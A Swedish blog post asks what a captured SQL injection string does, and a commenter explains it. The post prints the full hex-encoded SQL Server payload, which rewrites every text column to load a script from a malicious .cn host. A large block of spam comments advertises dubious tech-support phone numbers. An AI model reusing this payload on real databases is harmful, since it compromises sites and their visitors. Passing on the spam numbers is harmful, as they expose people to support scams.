Spännande sql-injektion dundrade just in

Fick just in följande sträng mot en parameter på en sajt, nån som orkar lista ut vad den är tänkt att ställa till med?

;DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S)

Sökte på den på Google och fick en hel del träffar. Intressant att om man klickar på Cachad på någon av dem spärrar G bort och visar förstsidan istället. Undrar ifall jag kommer bli blockad för att jag postade den här...

Comments

Vad den gör är att den går igenom alla tabeller i en databas och letar efter fält av typen TEXT eller NTEXT och lägger till en JavaScript-snutt som genererar ett popup-fönster med reklam när det körs. Drabbades av den där på en gammal sajt programmerad i Klassisk ASP som inte var skyddad på ett adekvat sätt.
@Peter Tack för den informationen. Aj, det låter inget roligt att få in den i en databas. Var det en SQL Server som du hade till sajten? Eller drabbar den även MS Access?
Kom just på att det var ganska osmart av mig att posta den där rätt in i mitt bloggsystem (i alla fall rätt oförsiktigt). Men, men det gick ju bra denna gången.
Ja, det var en SQL Server, version 2000 vill jag minnas. Vet inte om det även drabbar Access...

thanks for great website information.thank you.http://www.onlinepromotionuae.ae

Superb post. Many thanks for discussing valuable content material. Call us Toll free 0800-098-8371 HP Printer Support Number UK and get the instant solution of your problem.

Great post, in case if you are bumped into any sort of Acer computer issue contact technicians at 0800-098-8371 Toll free..

Acer Help Number UK

Acer Support Number UK

Acer Computer Helpline Number UK

Acer Computer Customer Care Number UK

yes man, its a very useful article. i tried it on my sites. its work. thank you so much,

Toshiba Contact Number

Today I learned a lot from your website. thank you, Call@ 0800-098-8569 for Windows Support Number, Windows XP support, Windows 10 Support, Windows 8 help, Windows Phone Support, Windows Tech Support, Windows 7 Support.

Windows 7 Support

thanks for this awesome web page, i like it epson helpline

Today I learned a lot from your website. thank you Kaspersky customer service

very very nice article, thanks for the sharing with us. kaspersky support

Hii, Thanks for the sharing nice posting with us. i’m really impressed.

Windows Support Number

Hii, Thanks for the sharing nice posting with us. i’m really impressed. mcafee customer support

very nice post..

Hp printer customer support number

Hp printer support

Awsome posting and topic is very nice . Good posting.

Thanks for this awesome web page, i like it. Facing issues in printers? Need help or support for major brands like HP, Canon, Epson, Brother, Lexmark, etc. Call toll free number 1-844-653-7999 now for help. samsung printer support

Hii, Thanks for the sharing nice posting with us. i’m really impressed.

Hi, Very Awesome Post. Microsoft office word help

Very interesting post. Thank you for sharing. Canon Printer Support Number UK Canon Printer Contact Number UK

Your blog information is nice. Canon Helpline Number UK

Please fill out all the fields.

*
*